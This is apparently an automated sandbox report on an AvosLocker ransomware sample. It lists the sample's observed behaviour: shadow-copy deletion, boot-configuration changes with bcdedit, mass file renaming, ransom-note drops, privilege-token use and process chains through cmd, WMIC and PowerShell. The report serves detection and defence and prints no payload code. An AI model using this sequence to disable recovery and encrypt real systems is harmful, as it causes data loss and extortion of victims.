Malware Analysis Report

2024-10-16 03:28

Sample ID 240530-qtm89aac5v
Target 05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b
SHA256 05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b
Tags
avoslocker defense_evasion evasion execution impact ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b

Threat Level: Known bad

The file 05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b was found to be: Known bad.

Malicious Activity Summary

avoslocker defense_evasion evasion execution impact ransomware

Avoslocker Ransomware

Renames multiple (10371) files with added filename extension

Modifies boot configuration data using bcdedit

Renames multiple (8485) files with added filename extension

Deletes shadow copies

Drops desktop.ini file(s)

Enumerates connected drives

Sets desktop wallpaper using registry

Drops file in Program Files directory

Command and Scripting Interpreter: PowerShell

Unsigned PE

Interacts with shadow copies

Suspicious behavior: EnumeratesProcesses

Uses Volume Shadow Copy service COM API

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-30 13:33

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-30 13:33

Reported

2024-05-30 13:35

Platform

win7-20240221-en

Max time kernel

117s

Max time network

121s

Command Line

"C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe"

Signatures

Avoslocker Ransomware

ransomware avoslocker

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (10371) files with added filename extension

ransomware

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1172194971.png" C:\Windows\system32\reg.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA01158_.WMF C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\it-IT\gadget.xml C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Windows Mail\fr-FR\msoeres.dll.mui C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files\Microsoft Games\SpiderSolitaire\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR00.GIF C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR7F.GIF C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0292270.WMF C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Windows Media Player\es-ES\WMPDMCCore.dll.mui C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Chihuahua C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationRight_SelectionSubpicture.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\es-ES\js\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\WCOMP98.POC C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA01357_.WMF C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\settings_corner_top_left.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\square_s.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files\Java\jdk1.7.0_80\jre\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\OUTLOOK.DEV_K_COL.HXK C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME21.CSS C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\cpu.html C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\fr\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked-loading.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\MedianLetter.Dotx C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0187881.WMF C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\Real.mpp C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_fr.properties C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsScenesBackground_PAL.wmv C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\es-ES\picturePuzzle.html C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGLBL095.XML C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files (x86)\Common Files\System\ado\it-IT\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107502.WMF C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0152626.WMF C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Tijuana C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PG_INDEX.XML C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\ONINTL.DLL.IDX_DLL C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BD07831_.WMF C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host-remote_ja.jar C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.docs_5.5.0.165303.jar C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.win32.win32.x86_64.nl_zh_4.4.0.v20140623020002.jar C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00166_.WMF C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\images\combo-hover-middle.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\invalid32x32.gif C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\com.jrockit.mc.rcp.product_root_5.5.0.165303 C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\LINEAR_RGB.pf C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN089.XML C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files (x86)\Microsoft Office\Office14\Document Parts\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02466U.BMP C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\ipsdeu.xml C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WB01740_.GIF C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-javahelp.xml C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-sampler.jar C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\feature.properties C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\lt.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OLKIRM.XML C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107744.WMF C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Uzhgorod C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_de.properties C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.commands.nl_zh_4.4.0.v20140623020002.jar C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0384900.JPG C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1252 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 1100 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 1100 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 1100 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 1100 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 1068 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 1068 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 1068 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 1068 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 2564 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 2564 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 2564 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1252 wrote to memory of 2564 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\system32\cmd.exe
PID 1100 wrote to memory of 2352 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 1100 wrote to memory of 2352 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 1100 wrote to memory of 2352 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2460 wrote to memory of 1900 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2460 wrote to memory of 1900 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2460 wrote to memory of 1900 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1724 wrote to memory of 2312 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1724 wrote to memory of 2312 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1724 wrote to memory of 2312 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1068 wrote to memory of 2292 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1068 wrote to memory of 2292 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1068 wrote to memory of 2292 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2564 wrote to memory of 2364 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
